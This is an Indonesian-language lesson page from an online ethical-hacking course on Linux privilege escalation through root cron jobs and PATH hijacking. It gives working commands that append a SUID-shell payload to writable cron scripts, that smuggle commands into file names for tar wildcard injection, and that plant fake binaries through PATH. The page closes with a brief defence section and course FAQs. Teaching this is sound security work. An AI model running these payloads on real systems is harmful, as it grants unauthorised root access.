Tugas Cron dan PATH
Penyalahgunaan tugas terjadwal
Tugas Cron dan PATH adalah pelajaran Ethical Hacking Academy gratis di CoddyKit. Ini adalah pelajaran 3 dari 4. Kamu bisa membaca pelajaran lengkapnya di bawah secara gratis — lalu praktikkan langsung di browser dengan editor kode bawaan dan tutor AI 24/7. Ini adalah bagian dari jalur belajar Ethical Hacking Academy, dan progresmu tersinkronisasi di web dan aplikasi CoddyKit. Kursus Ethical Hacking Academy mencakup 4 pelajaran total.
Tugas Cron sebagai Jalur Serangan
Daemon cron menjalankan tugas terjadwal, sering kali sebagai root. Jika Anda dapat memengaruhi apa yang dijalankan tugas cron root — skripnya, inputnya, atau cara perintah ditentukan — Anda dapat menjalankan kode sebagai root.
Mengenumerasikan Cron
Baca crontab sistem dan direktori cron. Catat siapa yang menjalankan setiap tugas dan skrip mana yang dipanggil.
cat /etc/crontab
ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly
cat /var/spool/cron/crontabs/* 2>/dev/nullMengawasi Tugas Tersembunyi
Beberapa tugas tidak tercantum dalam file yang jelas. pspy memantau pembuatan proses tanpa akses root, sehingga menampilkan perintah cron saat dijalankan — termasuk perintah yang tidak dapat Anda baca dalam konfigurasi.
./pspy64
# watch for periodic root processesSkrip Cron yang Dapat Ditulis
Penyalahgunaan yang paling sederhana: tugas cron yang berjalan sebagai root menjalankan skrip yang dapat Anda ubah. Tambahkan payload, lalu tunggu hingga skrip dijalankan berikutnya.
ls -la /opt/backup.sh # -rwxrwxrwx root
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /opt/backup.shInjeksi Wildcard
Jika tugas cron yang berjalan sebagai root menggunakan wildcard seperti tar -czf backup.tar.gz * di direktori yang Anda kendalikan, Anda dapat membuat berkas dengan nama yang berfungsi sebagai opsi baris perintah (injeksi argumen), sehingga memaksa tar menjalankan perintah Anda.
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "cp /bin/bash /tmp/rb; chmod +s /tmp/rb" > shell.shApa Itu PATH?
PATH adalah daftar direktori yang dicari shell untuk menemukan perintah. Saat skrip memanggil perintah hanya berdasarkan namanya (misalnya backup, bukan /usr/bin/backup), berkas pertama yang cocok di PATH akan digunakan.
echo $PATH
# /usr/local/bin:/usr/bin:/binPembajakan PATH
Jika skrip yang dijalankan sebagai root memanggil perintah tanpa jalur absolut, dan Anda dapat menambahkan direktori yang dapat ditulis ke awal PATH-nya, letakkan biner berbahaya dengan nama tersebut di sana. Root akan menjalankan versi Anda.
echo -e "#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb" > /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATHJalur Relatif dalam Biner SUID
Celah yang sama muncul pada biner SUID khusus yang memanggil system("service ...") tanpa jalur lengkap. Pembajakan PATH kemudian menjalankan kode Anda sebagai root — menggabungkan penyalahgunaan PATH dengan konsep SUID.
Mengeksploitasi Direktori PATH yang Dapat Ditulis
Bahkan tanpa mengubah PATH, jika direktori PATH yang sudah ada (seperti /usr/local/bin) dapat ditulis dan tugas root memanggil perintah yang ditemukan di sana, Anda cukup menaruh biner Anda di lokasi tersebut.
ls -ld /usr/local/bin # check for write permissionMengatur Waktu Serangan
Eskalasi berbasis cron memerlukan kesabaran — Anda harus menunggu jadwalnya. Catat intervalnya, tanam payload, lalu periksa hasilnya (misalnya shell SUID Anda) setelah tugas dijalankan.
watch -n 5 ls -la /tmp/rootbashPertahanan dan Etika
Pihak yang bertahan harus menggunakan jalur absolut dalam skrip, membatasi izin pada skrip cron dan direktorinya, menghindari wildcard pada jalur yang dapat dikendalikan penyerang, serta menetapkan PATH yang aman di dalam cron. Uji teknik ini hanya di tempat yang telah diizinkan.
Pemeriksaan Singkat
Uji pengetahuan Anda tentang cron/PATH.
Ringkasan
Anda telah mempelajari eskalasi melalui cron dan PATH:
- Tugas cron root yang memanggil skrip yang dapat ditulis atau menggunakan wildcard dapat dieksploitasi
- pspy mengungkap proses terjadwal yang tersembunyi
- Pembajakan PATH menyalahgunakan perintah yang dipanggil tanpa jalur absolut
- Tanam payload, tunggu jadwalnya, lalu dapatkan akses root
Berikutnya: eksploitasi kernel.
Belajar Ethical Hacking Academy dengan tutor AI — gratis
Tulis dan jalankan kode asli di browser kamu, dapatkan bantuan instan dari tutor AI 24/7, dan lanjutkan di mana kamu tinggalkan di web atau aplikasi.
- Kursus
- 31
- Pelajaran
- 111
Pertanyaan yang Sering Diajukan
Apakah pelajaran “Tugas Cron dan PATH” gratis?
Ya — teks lengkap “Tugas Cron dan PATH” gratis dibaca di sini di web. Untuk praktiknya secara interaktif (editor kode bawaan dan tutor AI 24/7) dan buka sisa kursus Ethical Hacking Academy, upgrade ke CoddyKit PRO. Kursus Ethical Hacking Academy mencakup 4 pelajaran total.
Apa yang akan aku pelajari di “Tugas Cron dan PATH”?
Penyalahgunaan tugas terjadwal Kamu berlatih Ethical Hacking Academy dengan kode praktik yang langsung kamu jalankan di browser, dan tutor AI 24/7 menjawab pertanyaanmu saat kamu mengerjakan pelajaran ini.
Apakah aku perlu pengalaman untuk memulai Ethical Hacking Academy?
Tidak diperlukan pengalaman sebelumnya. Ethical Hacking Academy di CoddyKit dirancang untuk pemula hingga pelajar tingkat lanjut, jadi kamu bisa memulai di sini atau dari awal dan belajar sesuai kecepatan kamu sendiri. Ini adalah pelajaran 3 dari 4.
Berapa lama pelajaran “Tugas Cron dan PATH” memakan waktu?
Sebagian besar pelajaran CoddyKit memakan waktu sekitar 5–10 menit. Setiap pelajaran ringkas dan interaktif, jadi kamu membuat kemajuan stabil dan melanjutkan dari tempat kamu tinggalkan di web dan aplikasi.
Bisakah aku menulis dan menjalankan kode dalam pelajaran Ethical Hacking Academy ini?
Ya. Setiap pelajaran Ethical Hacking Academy menyertakan editor kode bawaan, jadi kamu menulis dan menjalankan kode nyata langsung di browser dan mendapatkan umpan balik AI instan — tidak diperlukan penyiapan lokal.
Semua pelajaran dalam kursus ini
- Enumerasi
- Penyalahgunaan SUID dan Sudo
- Tugas Cron dan PATH
- Exploit Kernel